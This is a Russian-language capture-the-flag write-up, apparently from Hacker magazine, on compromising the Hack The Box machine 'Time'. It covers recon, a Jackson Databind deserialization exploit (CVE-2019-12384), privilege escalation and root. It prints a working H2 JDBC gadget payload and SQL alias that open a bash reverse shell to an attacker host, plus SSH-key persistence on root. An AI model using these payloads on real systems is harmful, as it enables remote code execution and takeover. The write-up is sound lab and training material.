Хакер - HTB Time. Захватываем машину с Linux через уязвимость в парсере JSON
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Закрепление
- Повышение привилегий
Сегодня мы разберемся с уязвимостью в парсере Jackson Databind, а затем займемся отслеживанием новых процессов в Linux, чтобы найти пути повысить привилегии. Поможет нам в этом машина Time с площадки Hack The Box. Ее уровень сложности заявлен как Medium.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Адрес машины — 10.10.10.214, я всегда добавляю их в /etc/hosts, чтобы обращаться по имени.
10.10.10.214 time.htb
Сканируем порты при помощи Nmap. Команда ниже проведет сканирование в два этапа — сначала общее, затем по найденным портам — со скриптами.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Находим два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). На SSH нам пока что ловить нечего, поэтому сразу отправляемся «пробивать» веб.
ТОЧКА ВХОДА
И на первой же странице нас встречает поле ввода с подписью ONLINE JSON BEAUTIFIER & VALIDATOR, из чего делаем вывод, что сайт парсит и выводит текст в формате JSON.

При поиске точки входа лучше тестировать все поля ввода на обработку «нежелательных» символов. Они могут выполнять роль служебных для той или иной технологии, и поэтому, если программист не позаботился о специальной обработке, они могут вызывать ошибки или другие сбои в приложении. Я провел небольшой тест — скормил одну и ту же строчку валидаторам разных типов. Ответ получился разным, а это значит, что обработка пользовательского ввода происходит по‑разному.

Во втором случае мы получаем полноценный текст ошибки:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core. JsonParseException: Unrecognized token 'qwe': was expecting ('true', 'false' or 'null')
Скорее, это связано с тем, что приложение еще не доведено до ума, поэтому и присутствует пометка Beta. Именно сюда нам и нужно давить. Так как перед нами парсер JSON, давай посмотрим, как он реагирует на служебные последовательности‑типы [] и {}. В ответ на такие запросы мы тоже получим разные ошибки для разных последовательностей.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc. MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'qwe' as a subtype of [simple type, class java.lang.Object]: no such class found
Анализ ошибок полезен тем, что помогает определить используемую технологию. Это расширяет наше представление о том, как внутри устроено приложение. В первом и во втором случае исключение генерирует Java, а пакет называется com.fasterxml.jackson.databind.exc. Отлично, мы определили, что там внутри! Осталось поискать в интернете уязвимости, которые уже нашли в этой программе.
Для популярных технологий есть хорошо документированные эксплоиты, к тому же не в одном варианте. В нашем случае достаточно запроса jackson databind vulnerability, и Google находит уязвимость, которая может предоставить удаленное выполнение кода (RCE). Также получаем ее идентификатор (2019-12384) в базе данных общеизвестных уязвимостей информационной безопасности (CVE).

Для уязвимостей с CVE на GitHub несложно найти эксплоит. Повторяем запрос и ищем готовый код. Первая же ссылка ведет нас к полному описанию процесса эксплуатации.

ЗАКРЕПЛЕНИЕ
Выбранная нами уязвимость заключается в том, что злоумышленник может использовать десериализацию для удаленного выполнения кода. Дело в том, что внутри пакета рекурсивно вызываются все сеттеры с ключом, содержащимся внутри подобъекта, а именно setUrl(String url). После этого этапа полный объект снова сериализуется в объект JSON. При этом все поля сериализуются напрямую, если геттер не определен, или через явный геттер. Когда вызывается getConnection(), создается база данных. Но мы можем создать соединение с удаленной базой данных.
Чтобы добиться полного выполнения кода в контексте приложения, нужно использовать возможность загрузки драйвера H2 JDBC. H2 — это сверхбыстрая база данных SQL, обычно используемая в качестве замены для полнофункциональных СУБД (таких как PostgreSQL, MS SQL, MySQL или OracleDB). У H2 есть возможность запускать сценарии SQL из URL-адреса JDBC. Это не позволяет злоумышленнику выполнить код Java внутри контекста JVM, но у H2 есть возможность указывать настраиваемые псевдонимы, содержащие код Java. Именно это и позволит выполнить удаленный код.
А теперь перейдем к эксплуатации. В сценарии SQL, который будет загружаться с нашего сервера, мы выполним обратный шелл и получим доступ к машине.
bash -i >& /dev/tcp/[ip]]/[port] 0>&1
Следует указать лишь адрес своего хоста и порт для обратного подключения. При этом на локальном хосте запускаем листенер. Чтобы обеспечить себе комфортную работу (хотя бы ведение истории команд), советую использовать оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Готовый SQL-сценарий, выполняющий реверс‑шелл, можно взять из описания к эксплоиту (не забудь указать свои данные):
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.73/4321 0>&1')
После сохранения сценария в файл в текущей директории запустим простой HTTP-сервер с помощью Python 3.
python3 -m http.server 8000
Пришло время отправить нагрузку через веб‑форму. Идея в том, чтобы загрузить драйвер H2 JDBC и получить удаленный сценарий SQL.
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.73:8000/inject.sql'"}]

После отправки в консоли, где запущен веб‑сервер на Python 3, мы увидим лог, свидетельствующий о загрузке на удаленный хост SQL-сценария. А в консоли листенера получаем обратную командную оболочку в контексте пользователя pericles.


Работать из этого шелла все же не очень удобно, поэтому сделаем себе доступ по SSH. Командой ssh-keygen генерируем пару ключей на локальном хосте. Далее — запишем id_rsa.pub в файле ~/.ssh/authorized_keys на удаленном хосте. Подключаемся и забираем флаг пользователя.
ssh -i id_rsa pericles@time.htb


ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Как продвигаться дальше? В этом помогают скрипты PEASS — Privilege Escalation Awesome Scripts SUITE. Они есть для всех систем, скачиваем себе скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения такой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
На целевой машине с помощью все того же wget загружаем скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
В выводе получим серьезный массив информации. Нужно ее внимательно изучить и выбрать важную. В нашем случае нашелся скрипт на Bash с интересным названием time_backup (в разделе о бэкапах он, кстати, тоже будет упомянут).


Мы зашли в систему от имени владельца этого файла, а значит, можем внести в него изменения. Давай посмотрим, как часто запускается этот файл.
Для отслеживания процессов используем pspy64. Загрузим эту программу на хост тем же способом, что и linpeas, а потом выполним. В выводе видим, как запускался скрипт. Самое интересное — что он запускается в контексте пользователя с нулевого UID, а это root!
# Скачиваем на локальный хост
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
# Затем на удаленный
wget http://[ip_локального_хоста]:8000/pspy64
chmod +x pspy64
./pspy64

Захватить рут будет легко: чуть подправим скрипт и добавим в него две команды — первая создаст директорию /root/.ssh, а вторая запишет в файл /root/.ssh/authorized_keys публичный ключ. Пару ключей можно сгенерировать заново, а можно использовать те же, которые мы генерировали для пользователя.

Спустя несколько секунд, когда скрипт сработает снова, можем подключаться к хосту как root и забирать флаг.
ssh -i id_rsa root@time.htb

Машина захвачена, у нас есть флаг и полный контроль над ней.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei